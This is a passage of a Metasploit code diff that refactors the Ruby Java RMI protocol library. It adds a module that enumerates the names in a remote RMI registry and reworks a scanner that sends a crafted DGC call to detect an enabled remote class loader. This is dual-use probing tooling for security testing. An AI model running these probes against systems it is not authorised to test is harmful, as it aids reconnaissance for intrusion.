@ -50,7 +50,7 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
encoded = ''
|
||||
encoded << [magic].pack('n')
|
||||
|
@ -63,7 +63,7 @@ module Rex
|
|||
|
||||
# Adds an element to the references array
|
||||
#
|
||||
# @param io [Rex::Java::Serialization::Model::Element] the object to save as reference dst
|
||||
# @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst
|
||||
def add_reference(ref)
|
||||
self.references.push(ref)
|
||||
end
|
||||
|
@ -92,12 +92,12 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [String] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_magic(io)
|
||||
magic = io.read(2)
|
||||
|
||||
unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC
|
||||
raise ::RuntimeError, 'Failed to unserialize Stream'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
|
||||
end
|
||||
|
||||
STREAM_MAGIC
|
||||
|
@ -107,11 +107,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Fixnum] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_version(io)
|
||||
version = io.read(2)
|
||||
unless version && version.unpack('n')[0] == STREAM_VERSION
|
||||
raise ::RuntimeError, 'Failed to unserialize Stream'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
|
||||
end
|
||||
|
||||
STREAM_VERSION
|
||||
|
|
|
@ -26,11 +26,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(2)
|
||||
if raw_length.nil? || raw_length.length != 2
|
||||
raise ::RuntimeError, 'Failed to unserialize Utf'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
|
||||
end
|
||||
self.length = raw_length.unpack('n')[0]
|
||||
|
||||
|
@ -39,7 +39,7 @@ module Rex
|
|||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise ::RuntimeError, 'Failed to unserialize Utf'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -3,5 +3,7 @@
|
|||
# JAVA RMI Wire protocol implementation
|
||||
# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html
|
||||
|
||||
require 'rex/proto/rmi/exception'
|
||||
require 'rex/proto/rmi/decode_error'
|
||||
require 'rex/proto/rmi/model'
|
||||
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
class DecodeError < ::RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
class Exception < ::RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -15,6 +15,8 @@ module Rex
|
|||
PROTOCOL_NOT_SUPPORTED = 0x4f
|
||||
RETURN_DATA = 0x51
|
||||
PING_ACK = 0x53
|
||||
RETURN_VALUE = 1
|
||||
RETURN_EXCEPTION = 2
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -24,7 +26,10 @@ require 'rex/proto/rmi/model/element'
|
|||
require 'rex/proto/rmi/model/output_header'
|
||||
require 'rex/proto/rmi/model/protocol_ack'
|
||||
require 'rex/proto/rmi/model/continuation'
|
||||
require 'rex/proto/rmi/model/unique_identifier'
|
||||
require 'rex/proto/rmi/model/call_data'
|
||||
require 'rex/proto/rmi/model/call'
|
||||
require 'rex/proto/rmi/model/return_value'
|
||||
require 'rex/proto/rmi/model/return_data'
|
||||
require 'rex/proto/rmi/model/dgc_ack'
|
||||
require 'rex/proto/rmi/model/ping'
|
||||
|
|
|
@ -11,7 +11,7 @@ module Rex
|
|||
# @return [Fixnum] the message id
|
||||
attr_accessor :message_id
|
||||
# @!attribute call_data
|
||||
# @return [Rex::Java::Serialization::Model::Stream] the serialized call data
|
||||
# @return [Rex::Proto::Rmi::Model::CallData] the call data
|
||||
attr_accessor :call_data
|
||||
|
||||
private
|
||||
|
@ -20,11 +20,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode the message id
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the message id
|
||||
def decode_message_id(io)
|
||||
message_id = read_byte(io)
|
||||
unless message_id == CALL_MESSAGE
|
||||
raise ::RuntimeError, 'Failed to decode Call message id'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Call message id'
|
||||
end
|
||||
|
||||
message_id
|
||||
|
@ -35,7 +35,7 @@ module Rex
|
|||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def decode_call_data(io)
|
||||
call_data = Rex::Java::Serialization::Model::Stream.decode(io)
|
||||
call_data = Rex::Proto::Rmi::Model::CallData.decode(io)
|
||||
|
||||
call_data
|
||||
end
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI return value
|
||||
class CallData < Element
|
||||
|
||||
# @!attribute object_number
|
||||
# @return [Fixnum] Random to identify the object being called
|
||||
attr_accessor :object_number
|
||||
# @!attribute uid
|
||||
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier for the target to call
|
||||
attr_accessor :uid
|
||||
# @!attribute operation
|
||||
# @return [Fixnum] On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
|
||||
# it is -1.
|
||||
attr_accessor :operation
|
||||
# @!attribute hash
|
||||
# @return [Fixnum] On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
|
||||
# representing the method to call.
|
||||
attr_accessor :hash
|
||||
# @!attribute arguments
|
||||
# @return [Array] the returned exception or value according to code
|
||||
attr_accessor :arguments
|
||||
|
||||
# Encodes the Rex::Proto::Rmi::Model::CallData into an String.
|
||||
#
|
||||
# @return [String]
|
||||
def encode
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_object_number + encode_uid + encode_operation + encode_hash)
|
||||
|
||||
stream.contents << block_data
|
||||
stream.contents += arguments
|
||||
|
||||
stream.encode
|
||||
end
|
||||
|
||||
# Decodes the Rex::Proto::Rmi::Model::CallData from the input.
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Proto::Rmi::Model::CallData]
|
||||
def decode(io)
|
||||
stream = Rex::Java::Serialization::Model::Stream.decode(io)
|
||||
|
||||
block_data = stream.contents[0]
|
||||
block_data_io = StringIO.new(block_data.contents, 'rb')
|
||||
|
||||
self.object_number = decode_object_number(block_data_io)
|
||||
self.uid = decode_uid(block_data_io)
|
||||
self.operation = decode_operation(block_data_io)
|
||||
self.hash = decode_hash(block_data_io)
|
||||
self.arguments = []
|
||||
|
||||
stream.contents[1..stream.contents.length - 1].each do |content|
|
||||
self.arguments << content
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Reads the object number from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_object_number(io)
|
||||
object_number = read_long(io)
|
||||
|
||||
object_number
|
||||
end
|
||||
|
||||
# Reads and deserializes the uid from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier]
|
||||
def decode_uid(io)
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
||||
|
||||
uid
|
||||
end
|
||||
|
||||
# Reads the operation from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_operation(io)
|
||||
operation = read_int(io)
|
||||
|
||||
operation
|
||||
end
|
||||
|
||||
# Reads the hash from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_hash(io)
|
||||
hash = read_long(io)
|
||||
|
||||
hash
|
||||
end
|
||||
|
||||
# Encodes the code field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_object_number
|
||||
[object_number].pack('q>')
|
||||
end
|
||||
|
||||
# Encodes the uid field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_uid
|
||||
uid.encode
|
||||
end
|
||||
|
||||
# Encodes the operation field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_operation
|
||||
[operation].pack('l>')
|
||||
end
|
||||
|
||||
# Encodes the hash field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_hash
|
||||
[hash].pack('q>')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -22,11 +22,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == DGC_ACK_MESSAGE
|
||||
raise ::RuntimeError, 'Failed to decode DgcAck stream id'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode DgcAck stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
|
|
|
@ -83,42 +83,57 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if the byte can't be read from io
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if the byte can't be read from io
|
||||
def read_byte(io)
|
||||
raw = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to read byte' unless raw
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to read byte' unless raw
|
||||
|
||||
raw.unpack('C')[0]
|
||||
raw.unpack('c')[0]
|
||||
end
|
||||
|
||||
# Reads a two bytes short from an IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if the short can't be read from io
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if the short can't be read from io
|
||||
def read_short(io)
|
||||
raw = io.read(2)
|
||||
|
||||
unless raw && raw.length == 2
|
||||
raise ::RuntimeError, 'Failed to read short'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to read short'
|
||||
end
|
||||
|
||||
raw.unpack('n')[0]
|
||||
raw.unpack('s>')[0]
|
||||
end
|
||||
|
||||
# Reads a four bytes int from an IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if the int can't be read from io
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if the int can't be read from io
|
||||
def read_int(io)
|
||||
raw = io.read(4)
|
||||
|
||||
unless raw && raw.length == 4
|
||||
raise ::RuntimeError, 'Failed to read short'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to read int'
|
||||
end
|
||||
|
||||
raw.unpack('N')[0]
|
||||
raw.unpack('l>')[0]
|
||||
end
|
||||
|
||||
# Reads a 8 bytes long from an IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if the long can't be read from io
|
||||
def read_long(io)
|
||||
raw = io.read(8)
|
||||
|
||||
unless raw && raw.length == 8
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to read long'
|
||||
end
|
||||
|
||||
raw.unpack('q>')[0]
|
||||
end
|
||||
|
||||
# Reads an string from an IO
|
||||
|
@ -126,12 +141,12 @@ module Rex
|
|||
# @param io [IO] the IO to read from
|
||||
# @param length [Fixnum] the string length
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if the string can't be read from io
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if the string can't be read from io
|
||||
def read_string(io, length)
|
||||
raw = io.read(length)
|
||||
|
||||
unless raw && raw.length == length
|
||||
raise ::RuntimeError, 'Failed to read string'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to read string'
|
||||
end
|
||||
|
||||
raw
|
||||
|
|
|
@ -23,11 +23,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode signature
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode signature
|
||||
def decode_signature(io)
|
||||
signature = read_string(io, 4)
|
||||
unless signature == SIGNATURE
|
||||
raise ::RuntimeError, 'Failed to decode OutputHeader signature'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader signature'
|
||||
end
|
||||
|
||||
signature
|
||||
|
@ -47,13 +47,13 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if fails to decode the protocol
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the protocol
|
||||
def decode_protocol(io)
|
||||
valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL]
|
||||
protocol = read_byte(io)
|
||||
|
||||
unless valid_protocols.include?(protocol)
|
||||
raise ::RuntimeError, 'Failed to decode OutputHeader protocol'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader protocol'
|
||||
end
|
||||
|
||||
protocol
|
||||
|
|
|
@ -18,11 +18,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == PING_MESSAGE
|
||||
raise ::RuntimeError, 'Failed to decode Ping stream id'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Ping stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
|
|
|
@ -18,11 +18,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == PING_ACK
|
||||
raise ::RuntimeError, 'Failed to decode PingAck stream id'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode PingAck stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
|
|
|
@ -26,11 +26,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == PROTOCOL_ACK
|
||||
raise ::RuntimeError, 'Failed to decode ProtocolAck stream id'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ProtocolAck stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
|
|
|
@ -11,7 +11,7 @@ module Rex
|
|||
# @return [Fixnum] the stream id
|
||||
attr_accessor :stream_id
|
||||
# @!attribute return value
|
||||
# @return [Rex::Java::Serialization::Model::Stream] the serialized return data
|
||||
# @return [Rex::Proto::Rmi::Model::ReturnValue] the return value
|
||||
attr_accessor :return_value
|
||||
|
||||
private
|
||||
|
@ -20,11 +20,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode the stream id
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == RETURN_DATA
|
||||
raise ::RuntimeError, 'Failed to decode ReturnData stream id'
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ReturnData stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
|
@ -33,9 +33,9 @@ module Rex
|
|||
# Reads and deserializes the return value from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
# @return [Rex::Proto::Rmi::Model::ReturnValue]
|
||||
def decode_return_value(io)
|
||||
return_value = Rex::Java::Serialization::Model::Stream.decode(io)
|
||||
return_value = Rex::Proto::Rmi::Model::ReturnValue.decode(io)
|
||||
|
||||
return_value
|
||||
end
|
||||
|
|
|
@ -0,0 +1,124 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI return value
|
||||
class ReturnValue < Element
|
||||
|
||||
# @!attribute code
|
||||
# @return [Fixnum] the return code
|
||||
attr_accessor :code
|
||||
# @!attribute uid
|
||||
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier of the returned value
|
||||
attr_accessor :uid
|
||||
# @!attribute value
|
||||
# @return [Array] the returned exception or value according to code
|
||||
attr_accessor :value
|
||||
|
||||
# Encodes the Rex::Proto::Rmi::Model::ReturnValue into an String.
|
||||
#
|
||||
# @return [String]
|
||||
def encode
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_code + encode_uid)
|
||||
|
||||
stream.contents << block_data
|
||||
value.each do |v|
|
||||
stream.contents << v
|
||||
end
|
||||
|
||||
stream.encode
|
||||
end
|
||||
|
||||
# Decodes the Rex::Proto::Rmi::Model::ReturnValue from the input.
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Proto::Rmi::Model::ReturnValue]
|
||||
def decode(io)
|
||||
stream = Rex::Java::Serialization::Model::Stream.decode(io)
|
||||
|
||||
block_data = stream.contents[0]
|
||||
block_data_io = StringIO.new(block_data.contents, 'rb')
|
||||
|
||||
self.code = decode_code(block_data_io)
|
||||
self.uid = decode_uid(block_data_io)
|
||||
self.value = []
|
||||
|
||||
stream.contents[1..stream.contents.length - 1].each do |content|
|
||||
self.value << content
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Answers if the ReturnValue is an exception
|
||||
#
|
||||
# @return [Boolean]
|
||||
def is_exception?
|
||||
code == RETURN_EXCEPTION
|
||||
end
|
||||
|
||||
# The object/exception class of the returned value
|
||||
#
|
||||
# @return [String, NilClass] the returned value class, nil it cannot be retrieved
|
||||
def get_class_name
|
||||
unless value[0] && value[0].is_a?(Rex::Java::Serialization::Model::NewObject)
|
||||
return nil
|
||||
end
|
||||
|
||||
case value[0].class_desc.description
|
||||
when Rex::Java::Serialization::Model::NewClassDesc
|
||||
return value[0].class_desc.description.class_name.contents
|
||||
when Rex::Java::Serialization::Model::ProxyClassDesc
|
||||
return value[0].class_desc.description.interfaces[0].contents
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Reads the return code from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the return code
|
||||
def decode_code(io)
|
||||
code = read_byte(io)
|
||||
unless code == RETURN_VALUE || code == RETURN_EXCEPTION
|
||||
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode the ReturnValue code'
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
# Reads and deserializes the uid from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier]
|
||||
def decode_uid(io)
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
||||
|
||||
uid
|
||||
end
|
||||
|
||||
# Encodes the code field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_code
|
||||
[code].pack('c')
|
||||
end
|
||||
|
||||
# Encodes the uid field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_uid
|
||||
uid.encode
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,77 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of UniqueIdentifier as used in RMI calls
|
||||
class UniqueIdentifier < Element
|
||||
|
||||
# @!attribute number
|
||||
# @return [Fixnum] Identifies the VM where an object is generated
|
||||
attr_accessor :number
|
||||
# @!attribute time
|
||||
# @return [Fixnum] Time where the object was generated
|
||||
attr_accessor :time
|
||||
# @!attribute count
|
||||
# @return [Fixnum] Identifies different instance of the same object generated from the same VM
|
||||
# at the same time
|
||||
attr_accessor :count
|
||||
|
||||
private
|
||||
|
||||
# Reads the number from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_number(io)
|
||||
number = read_int(io)
|
||||
|
||||
number
|
||||
end
|
||||
|
||||
# Reads the time from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_time(io)
|
||||
time = read_long(io)
|
||||
|
||||
time
|
||||
end
|
||||
|
||||
# Reads the count from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_count(io)
|
||||
count = read_short(io)
|
||||
|
||||
count
|
||||
end
|
||||
|
||||
# Encodes the number field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_number
|
||||
[number].pack('l>')
|
||||
end
|
||||
|
||||
# Encodes the time field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_time
|
||||
[time].pack('q>')
|
||||
end
|
||||
|
||||
# Encodes the count field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_count
|
||||
[count].pack('s>')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,92 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/java/serialization'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Java::Rmi::Client
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Java RMI Registry Interfaces Enumeration',
|
||||
'Description' => %q{
|
||||
This module gathers information from an RMI endpoint running an RMI registry
|
||||
interface. It enumerates the names bound into a registry and lookups each
|
||||
remote reference.
|
||||
},
|
||||
'Author' => ['juan vazquez'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmiTOC.html']
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1099)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Sending RMI Header...")
|
||||
connect
|
||||
|
||||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
print_error("#{peer} - Filed to negotiate RMI protocol")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Listing names in the Registry...")
|
||||
|
||||
begin
|
||||
names = send_registry_list
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
print_error("#{peer} - List raised exception #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
if names.nil?
|
||||
print_error("#{peer} - Failed to list names")
|
||||
return
|
||||
end
|
||||
|
||||
if names.empty?
|
||||
print_error("#{peer} - Names not found in the Registry")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - #{names.length} names found in the Registry")
|
||||
|
||||
names.each do |name|
|
||||
|
||||
begin
|
||||
remote_reference = send_registry_lookup(name: name)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
print_error("#{peer} - Lookup of #{name} raised exception #{e.message}")
|
||||
next
|
||||
end
|
||||
|
||||
if remote_reference.nil?
|
||||
print_error("#{peer} - Failed to lookup #{name}")
|
||||
next
|
||||
end
|
||||
|
||||
print_good("#{peer} - Name #{name} (#{remote_reference[:object]}) found on #{remote_reference[:address]}:#{remote_reference[:port]}")
|
||||
report_service(
|
||||
:host => remote_reference[:address],
|
||||
:port => remote_reference[:port],
|
||||
:name => 'java-rmi',
|
||||
:info => "Name: #{name}, Stub: #{remote_reference[:object]}"
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -51,16 +51,42 @@ class Metasploit3 < Msf::Auxiliary
|
|||
jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar'
|
||||
jar_url = "file:RMIClassLoaderSecurityTest/" + jar
|
||||
|
||||
send_call(call_data: build_gc_call_data(jar_url))
|
||||
return_data = recv_return
|
||||
dgc_interface_hash = calculate_interface_hash(
|
||||
[
|
||||
{
|
||||
name: 'clean',
|
||||
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
|
||||
exceptions: ['java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'dirty',
|
||||
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
|
||||
exceptions: ['java.rmi.RemoteException']
|
||||
}
|
||||
]
|
||||
)
|
||||
|
||||
if return_data.nil?
|
||||
# JDK 1.1 stub protocol
|
||||
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
|
||||
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
|
||||
send_call(
|
||||
object_number: 2,
|
||||
uid_number: 0,
|
||||
uid_time: 0,
|
||||
uid_count: 0,
|
||||
operation: 0,
|
||||
hash: dgc_interface_hash,
|
||||
arguments: build_dgc_clean_args(jar_url)
|
||||
)
|
||||
return_value = recv_return
|
||||
|
||||
if return_value.nil?
|
||||
print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
|
||||
return
|
||||
end
|
||||
|
||||
if loader_enabled?(return_data)
|
||||
if return_value.is_exception? && loader_enabled?(return_value.value)
|
||||
print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled")
|
||||
svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled")
|
||||
report_vuln(
|
||||
|
@ -76,13 +102,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def loader_enabled?(stream)
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
!content.class_data[1].contents.include?('RMI class loader disabled')
|
||||
def loader_enabled?(exception_stack)
|
||||
exception_stack.each do |exception|
|
||||
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
!exception.class_data[1].contents.include?('RMI class loader disabled')
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
@ -90,14 +116,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
false
|
||||
end
|
||||
|
||||
def build_gc_call_data(jar_url)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
# class: sun.rmi.trasnport.DGC
|
||||
# method: public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)
|
||||
def build_dgc_clean_args(jar_url)
|
||||
arguments = []
|
||||
|
||||
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_annotation.contents = [
|
||||
|
@ -124,8 +146,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
